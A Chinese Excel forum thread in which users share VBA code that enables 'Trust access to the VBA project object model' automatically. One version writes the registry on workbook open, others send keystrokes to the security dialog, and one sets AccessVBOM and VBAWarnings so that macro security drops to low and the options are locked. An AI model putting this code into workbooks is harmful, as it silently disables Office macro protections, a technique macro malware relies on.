用VBA代码开启“信任对VBA工程对象模型的访问”的方法

硅谷少年

方便的话，你加我qq，280440199，我们qq远程看一下，这个是个很简单的问题。
我手边没有office2003供测试。

傅华

我在论坛上和百度上搜索了很多设置的方法，都没得到效果，经过我无数次测试之后，揉合了以下两段代码，测试有效，分享给大家：

Private Sub Workbook_Open() '信任对VBA工程对象模型的访问
Dim oWshell
    Set oWshell = CreateObject("WScript.Shell")
oWshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\AccessVBOM", 1, "REG_DWORD"  '信任对 VBA 项目的访问
With Application
            .SendKeys "~"
            .CommandBars.FindControl(ID:=3627).Execute
            
End With
End Sub

aslogo

友情提示。在EXCEL 2016的版本，“Level”的名字变成了“VBAWarnings”了。如下图，可见路径和名称

硅谷少年

后来我发现在vba里改注册表的代码，被微软outlook判定为危险行为，会导致包含这样代码的excel文件无法通过outlook2016发送，附件会被自动拦截并删除，我只好放弃了这个方法，在使用指导书里写了这些内容，写了个bat脚本放指导书相同路径下，让用户运行这个脚本来自动检查和配置环境。

laisme888

傅华 发表于 2017-12-29 21:21
我在论坛上和百度上搜索了很多设置的方法，都没得到效果，经过我无数次测试之后，揉合了以下两段代码，测试 ...

牛逼，感谢分享

踏歌123

傅华 发表于 2017-12-29 21:21
我在论坛上和百度上搜索了很多设置的方法，都没得到效果，经过我无数次测试之后，揉合了以下两段代码，测试 ...

666666

amtf995

傅华 发表于 2017-12-29 21:21
我在论坛上和百度上搜索了很多设置的方法，都没得到效果，经过我无数次测试之后，揉合了以下两段代码，测试 ...

我在您的基础上，修改了下，测试成功
Sub 信任VBA()
Dim myob
On Error Resume Next
Set myob = ActiveWorkbook.VBProject
    If Err <> 0 Then        '如果程序出错,说明“信任对VBA工程对象模型的访问”没有勾选。
        With Application  '用程序调用快捷键完成选取信任对visual basic项目的访问操作
           .SendKeys "%V~"
           .CommandBars.FindControl(ID:=3627).Execute
        End With
   
    End If
End Sub
Sub 取消信任VBA()
Dim myob
On Error Resume Next
Set myob = ActiveWorkbook.VBProject
    If Err = 0 Then        '如果程序没出错,说明“信任对VBA工程对象模型的访问”已勾选。
        With Application  '用程序调用快捷键完成选取信任对visual basic项目的访问操作
           .SendKeys "%V~"
           .CommandBars.FindControl(ID:=3627).Execute
        End With
   
    End If
End Sub

故从何生

amtf995 发表于 2022-4-18 15:27
我在您的基础上，修改了下，测试成功
Sub 信任VBA()
Dim myob

这个最后还得手工勾选

故从何生

'============
'在运行这段代码后，将开启“信任对VBA工程对象模型的访问”，且该选项将变成灰色。
'1.“AccessVBOM”项的值为1代表开启，0表示关闭“信任对VBA工程对象模型的访问”
'2.“Level”项的值1，2，3分别表示宏的安全级别为低、中、高。
'3.语句中“HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM ”和“HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level”添加过后会将相关的选项变成灰色，变为不可选。
Function OpenVBA()
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\VBAWarnings"
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\VBAWarnings"   'Level
KValue1 = 1
KValue2 = 1
      Call WReg(RK1, KValue1, "REG_DWORD")
      Call WReg(RK2, KValue2, "REG_DWORD")
      Call WReg(RK3, KValue1, "REG_DWORD")
      Call WReg(RK4, KValue2, "REG_DWORD")
End Function
'--------------------------------------------------------------------------------------------------------------------------------------------
Sub WReg(strkey As String, Value As Variant, ValueType As String)
    Dim oWshell
    Set oWshell = CreateObject("WScript.Shell")
    If ValueType = "" Then
        oWshell.REGWRITE strkey, Value
    Else
        oWshell.REGWRITE strkey, Value, ValueType
    End If
    Set oWshell = Nothing
End Sub
'解决变灰的问题，可以手动删除代码中涉及的键值或者运行代码：
Sub RepairVBA()
On Error Resume Next
With CreateObject("WSCRIPT.SHELL")
    .REGDELETE "HKLM\Software\Microsoft\Office\" & Application.Version & "\Excel\Security"
    .REGWRITE "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\AccessVBOM", 0, "REG_DWORD"
    .REGWRITE "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 3, "REG_DWORD"
End With
End Sub
'====================================

实测2016可行，之前1楼的代码中少了一个"\",另外，Level更换为VBAWarnings了

故从何生

能升级一下代码么，2016版似乎无效。。。没有反应